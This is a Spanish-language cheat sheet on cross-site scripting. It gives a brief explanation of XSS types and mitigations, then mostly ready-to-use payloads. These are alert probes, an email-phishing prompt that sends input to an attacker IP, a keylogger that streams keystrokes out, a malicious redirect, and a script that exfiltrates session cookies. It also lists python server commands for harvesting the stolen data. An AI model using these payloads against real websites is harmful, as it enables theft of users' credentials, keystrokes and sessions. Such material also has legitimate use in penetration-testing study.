XSS

#OWASP10 #XSS

XSS (Cross-Site Scripting) es una vulnerabilidad de seguridad inform谩tica que permite a los atacantes ejecutar c贸digo malicioso en la p谩gina web de un usuario sin su conocimiento. Esto puede resultar en el robo de informaci贸n personal y confidencial.

El ataque XSS implica la inserci贸n de c贸digo malicioso en una p谩gina web vulnerable, que se ejecuta en el navegador del usuario. Existen diferentes tipos de XSS, como el reflejado, almacenado y DOM-Based.

Estos ataques pueden tener graves consecuencias, por lo que es fundamental que los desarrolladores implementen medidas de seguridad, como la validaci贸n de datos de entrada y la eliminaci贸n de c贸digo HTML peligroso, para prevenir estas vulnerabilidades. Adem谩s, limitar los permisos de JavaScript en el navegador del usuario tambi茅n puede ser una medida eficaz para mitigar los riesgos del XSS.

Inyeccion HTML

Al atacar, es una buena se帽al encontrar inyecciones html.

Esto es una <h1>prueba</h1>
<marquee> Hacked </marquee>       # Para que el texto se vea movil

Payload

El clasico que se ve es el siguiente, si retorna la alerta, ya se puede considerar "reportable"

<script>alert("XSS");</script>
<script>alert(document.domain);</script>
<img src=1 onerror=alert(1)>

Fechorias

Secuestro de correos

Si el siguiente script esta dentro del lugaar vulnerable, en este caso un post, al abrir un servidor http con python3 -m http.server 80 podras ver en texto claro el correo ingresado.

<script>
	var email = prompt("Por favor, introduce tu correo electronico para visualizar el post", "example@example.com");

	if (email == null || email == ""){
		alert("Es necesario introducir un correo valido para visualizar el post");
	} else {
		fetch("http://<Tu IP>/?email=" + email);
	}
</script>

Keylogger

<script>
	var k = "";
	document.onkeypress = function(e) {      //Funcion ejecutada al apretar una tecla
		e = e || window.event; // Seguridad de que funcionara en cualquier navegador
		k += e.key; //"k" tendra el valor de la tecla apretada
		var i = new Image();
		i.src = "http://<My IP>/" + k; // Se aprovecha de enviar peticiones
	}
</script>

Ahora, que deberia tiener el servidor que recibe?

python3 -m http.server 2>&1 | grep -oP 'GET /\K[^.*/s*]+' # [^.*/s*]+ Filtrar de aqui en adelante hasta un espacio
python3 -m http.server 2>&1 | grep -oP 'GET /\K[^.*/s*]+' | sed 's/%20//g' # Arreglar este codigo, para cambiar los %20 a espacios.

Redirect

<script>
	window.location.href="https://sitiomalicioso";
</script>

External JavaScript Source

Aqui se trabaja en armar un java script aparte.

<script>
	src="http://<My IP>/test.js";
</script>

Java script aparte para robar la cookie de sesion, en este caso las cookies son JSON Web Token:

<script>
	var request = new XMLHttpRequest();
	request.open('GET', 'http://<My IP>/?cookie=' + document.cookie); // Request te enviara la cookie de sesion.
	request.send()
</script>

Una forma de defensa ante el robo de cookie, es ver en Application > HttpOnly, si esta en check por defecto, significa que no puedes robar la cookie.

Last updated